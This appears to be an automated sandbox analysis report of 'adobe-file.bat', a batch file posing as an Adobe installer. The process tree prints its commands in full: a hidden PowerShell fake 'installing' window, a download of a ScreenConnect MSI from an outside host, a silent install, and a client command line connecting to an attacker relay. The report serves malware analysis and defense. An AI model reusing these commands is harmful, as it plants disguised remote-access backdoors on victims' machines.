Analysis

  • max time kernel
    148s
  • max time network
    139s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 19:13

General

  • Target
    adobe-file.bat
  • Size 2KB
  • Sample260804-xxgdfaff26
  • SHA256 6c9b5bcba19ce0f0bdcd067c72b4e5c245de24809214292a984d9af7d2624e67
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 26 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\adobe-file.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2200
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4764
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:4860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -STA -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $form = New-Object System.Windows.Forms.Form; $form.Text='Adobe Acrobat'; $form.Width=450; $form.Height=180; $form.StartPosition='CenterScreen'; $form.ControlBox=$false; $form.TopMost=$true; $logo=New-Object System.Windows.Forms.PictureBox; $logo.ImageLocation='https://pub-5e5cf9e814af43df98f8b747c0ca8c49.r2.dev/adobe.png'; $logo.SizeMode='Zoom'; $logo.Width=64; $logo.Height=64; $logo.Left=10; $logo.Top=10; $form.Controls.Add($logo); $label=New-Object System.Windows.Forms.Label; $label.Text='INSTALLING PLEASE WAIT...'; $label.AutoSize=$true; $label.Font=New-Object System.Drawing.Font('Segoe UI',14,[System.Drawing.FontStyle]::Bold); $label.Left=90; $label.Top=70; $form.Controls.Add($label); $form.ShowDialog()"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3408
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://pub-60273b15feca4a05baaf0989c56ea9f0.r2.dev/pdf-file.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\SCInstallers\ScreenConnectClient.msi'"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4732
      • C:\Windows\system32\msiexec.exe
        msiexec /i "C:\Users\Admin\AppData\Local\Temp\SCInstallers\ScreenConnectClient.msi" /qn /norestart
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:788
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM powershell.exe
        2⤵
        • Kills process with taskkill
        PID:3240
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2976
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A1B61EFCF63485178BA308006F0242F9
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1372
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI2B28.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240790593 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:4200
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 6506E2E7F0E89FA19EEF2CB7DC4A386C E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:2572
    • C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=tesastral.com&p=8041&s=f90e83ce-6a8e-4bab-aec3-5a74c9e05af2&k=BgIAAACkAABSU0ExAAgAAAEAAQCVVb62ed5n4dS17c1hkU3CDYBE%2bFBELoG%2fw0utwjoehurZV0hWS2u9kReAWlzlG6Ln9kpT07aoayfgDnz78ulLSFuMDlTcf63IP83uQw4IO63KJZLrEeLHFNQG%2be%2frr%2fFJ8Ll5fy2CtqeehjAZBZTx83efro%2fVKEkbdc3uN0LDFyaMqMV7nmuX6krO8uket5uQlZt9tBn3USoVRM8FrWjVqO9vjp6vWB12RqL2kjmUbsdjbDwQawx9k4TBawyPoJjs4762EBQW8MhwmMxBD%2fkQn%2fqJu1bBPjMzW7Z3nt8YOg7jTfBuM8S75%2bf%2f9LUcgChttb9ls0j%2b1C9L%2bBbuo%2fSw&c=Adobe&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4544
      • C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.WindowsClient.exe" "RunRole" "bcef8103-b32b-4363-a4eb-7337c1707e5d" "User"
        2⤵
        • Executes dropped EXE
        PID:4592
      • C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.WindowsClient.exe" "RunRole" "0f25de29-800b-40de-9fc3-fefc29e55b48" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4896

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5a27ef.rbs

          • Path C:\Config.Msi\e5a27ef.rbs
          • Size 214KB
          • SHA256 308e96de0d457a34781c75d879da63a93b370eb731733ccd1ff722e14eb8bcc2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\Client.Override.en-US.resources
          • Size 298B
          • SHA256 cde4837485f4135b1561934d39321e320632a880b195ff66857552d20dc4e611
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\Client.resources
          • Size 33KB
          • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.ClientService.dll
          • Size 77KB
          • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.Core.dll
          • Size 549KB
          • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\app.config
          • Size 1005B
          • SHA256 d941ced9bb070fefe2b2c771b23470fadda02e018fdeff1adecbfc76da027f58
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (084421a17026b5ea)\system.config
          • Size 945B
          • SHA256 94bb191276bf65f480465fc69f1911304c6c44089f049df5ab609023a6b3b650
          • MD5 SHA1 SHA512 TLSH

          ModuleAnalysisCache

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 67KB
          • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnectClient.msi

          • Path C:\Users\Admin\AppData\Local\Temp\SCInstallers\ScreenConnectClient.msi
          • Size 12.6MB
          • SHA256 4183aa3ece7ef9f00b12047c6c439181efa38c4d8345c7ce6a1fe414458d3f72
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI2B28.tmp

          • Path C:\Windows\Installer\MSI2B28.tmp
          • Size 1.0MB
          • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI2B28.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI2B28.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI2B28.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI2B28.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI31A2.tmp

          • Path C:\Windows\Installer\MSI31A2.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/3408-27-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/3408-29-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/3408-22-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/3408-21-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/3408-20-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/3408-18-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/3408-23-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/3408-36-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/3408-26-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/3408-25-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/3408-24-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/3408-19-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/3408-148-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4200-63-0x0000000003470000-0x000000000349E000-memory.dmp

          memory/4200-67-0x00000000034B0000-0x00000000034BA000-memory.dmp

          memory/4200-71-0x0000000005610000-0x000000000569E000-memory.dmp

          memory/4200-75-0x00000000058E0000-0x0000000005A8C000-memory.dmp

          memory/4200-76-0x0000000006050000-0x000000000660A000-memory.dmp

          memory/4544-147-0x0000000004D80000-0x0000000004E55000-memory.dmp

          memory/4544-142-0x0000000004890000-0x00000000048C6000-memory.dmp

          memory/4544-143-0x0000000004B90000-0x0000000004C22000-memory.dmp

          memory/4544-145-0x00000000047F0000-0x0000000004831000-memory.dmp

          memory/4544-138-0x0000000004840000-0x0000000004890000-memory.dmp

          memory/4544-124-0x0000000004940000-0x0000000004AEC000-memory.dmp

          memory/4544-120-0x00000000046A0000-0x000000000472E000-memory.dmp

          memory/4544-114-0x0000000002040000-0x0000000002058000-memory.dmp

          memory/4592-160-0x000000001BAB0000-0x000000001BC5C000-memory.dmp

          memory/4592-156-0x00000000029B0000-0x00000000029E6000-memory.dmp

          memory/4592-155-0x0000000000690000-0x0000000000728000-memory.dmp

          memory/4592-159-0x000000001B870000-0x000000001B8FE000-memory.dmp

          memory/4592-161-0x000000001BDF0000-0x000000001BF78000-memory.dmp

          memory/4592-163-0x0000000002980000-0x0000000002998000-memory.dmp

          memory/4592-162-0x0000000002940000-0x0000000002958000-memory.dmp

          memory/4732-13-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-5-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-14-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-15-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-16-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-17-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-12-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-11-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-10-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-7-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-6-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-0-0x00007FFCAADAF000-0x00007FFCAADB0000-memory.dmp

          memory/4732-4-0x00000274F4990000-0x00000274F49B2000-memory.dmp

          memory/4732-1-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-28-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-33-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-34-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-35-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-37-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-38-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

          memory/4732-41-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp